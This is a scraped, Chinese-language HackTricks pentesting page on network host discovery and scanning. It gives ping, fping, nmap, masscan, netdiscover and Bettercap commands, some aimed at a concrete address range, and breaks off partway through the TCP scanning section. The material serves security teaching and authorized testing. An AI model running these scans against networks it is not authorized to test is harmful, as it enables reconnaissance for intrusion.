hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 从外部发现主机
  • ICMP
  • TCP端口发现
  • HTTP端口发现
  • UDP端口发现
  • SCTP端口发现
  • 渗透测试Wifi
  • 从内部发现主机
  • 被动
  • 主动
  • 主动 ICMP
  • 远程唤醒
  • 扫描主机
  • TCP
  • UDP
  • SCTP扫描
  • IDS和IPS规避
  • 更多nmap选项
  • 揭示内部IP地址
  • 嗅探
  • TCPDump
  • Bettercap
  • Bettercap
  • Wireshark
  • 捕获凭证
  • 局域网攻击
  • ARP欺骗
  • MAC Flood攻击 - CAM表溢出
  • 802.1Q VLAN / DTP 攻击
  • VTP 攻击
  • STP 攻击
  • CDP 攻击
  • VoIP 攻击和 VoIP Hopper 工具
  • DHCP 攻击
  • EAP攻击
  • FHRP (GLBP & HSRP) 攻击
  • RIP
  • EIGRP 攻击
  • OSPF
  • 其他通用工具和资源
  • 欺骗
  • ARP欺骗
  • ICMP重定向
  • DNS欺骗
  • 本地网关
  • 欺骗 LLMNR、NBT-NS 和 mDNS
  • 欺骗 WPAD
  • 欺骗 SSDP 和 UPnP 设备
  • IPv6 邻居欺骗
  • IPv6路由器通告欺骗/洪泛
  • IPv6 DHCP欺骗
  • HTTP(伪造页面和JS代码注入)
  • 互联网攻击
  • sslStrip
  • sslStrip+和dns2proxy用于绕过HSTS
  • 在端口上进行TCP监听
  • 在端口上进行 TCP + SSL 监听
  • Bettercap
  • 主动发现笔记
  • ARP 发现
  • mDNS(多播DNS)
  • NBNS(NetBios名称服务器)
  • SSDP(简单服务发现协议)
  • WSD(Web服务发现)
  • 参考资料
  1. Generic Methodologies & Resources

Pentesting Network

上一页Github Dorks & Leaks下一页DHCPv6

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 发现,我们的独家

  • 加入 💬 或 或在Twitter上关注我们 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

赏金提示:注册Intigriti,这是一家由黑客创建的高级赏金平台!立即加入我们,访问,开始赚取高达**$100,000**的赏金!

从外部发现主机

这将是一个关于如何找到从互联网响应的IP地址的简短部分。 在这种情况下,您有一些IP范围(甚至可能有几个范围),您只需找到哪些IP地址正在响应。

ICMP

这是发现主机是否启动的最简单和最快的方法。 您可以尝试发送一些ICMP数据包并期望响应。最简单的方法就是发送一个回显请求并期望响应。您可以使用简单的ping或使用fping来处理范围。 您还可以使用nmap发送其他类型的ICMP数据包(这将避免常见的ICMP回显请求-响应的过滤器)。

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP端口发现

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

HTTP端口发现

这只是一个TCP端口发现,当你想要专注于发现HTTP服务时非常有用:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP端口发现

您还可以尝试检查一些UDP端口是否开放,以决定是否应该更加关注一个主机。由于UDP服务通常不会对常规空的UDP探测数据包做出任何响应,因此很难判断端口是被过滤还是开放的。最简单的方法是发送与运行服务相关的数据包,由于您不知道运行的是哪种服务,因此应该根据端口号尝试最有可能的服务:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

SCTP端口发现

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

渗透测试Wifi

在这里,您可以找到一份关于所有众所周知的Wifi攻击方法的详细指南:

从内部发现主机

如果您在网络内部,您将首先要做的事情之一是发现其他主机。根据您可以/想要制造的噪音量的多少,可以执行不同的操作:

被动

您可以使用以下工具被动地发现连接网络内部的主机:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

主动

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

主动 ICMP

  • 如果您ping一个子网广播地址,则ping应该到达每个主机,它们可能会响应给您:ping -b 10.10.5.255

  • 对网络广播地址进行ping,甚至可以找到其他子网内的主机:ping -b 255.255.255.255

  • 使用nmap的-PE、-PP、-PM标志执行主机发现,分别发送ICMPv4 echo、时间戳和子网掩码请求:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

远程唤醒

远程唤醒用于通过网络消息打开计算机。用于打开计算机的魔术数据包只是一个数据包,其中提供了一个MAC目标,然后在同一个数据包中重复16次。 然后,这种类型的数据包通常发送到以太网0x0842或UDP数据包到端口9。 如果未提供**[MAC],则数据包将发送到广播以太网**(广播MAC将被重复)。

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

扫描主机

一旦您发现了所有您想要深入扫描的IP(外部或内部),可以执行不同的操作。

TCP

  • 开放端口:SYN --> SYN/ACK --> RST

  • 关闭端口:SYN --> RST/ACK

  • 过滤端口:SYN --> [无响应]

  • 过滤端口:SYN --> ICMP消息

# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
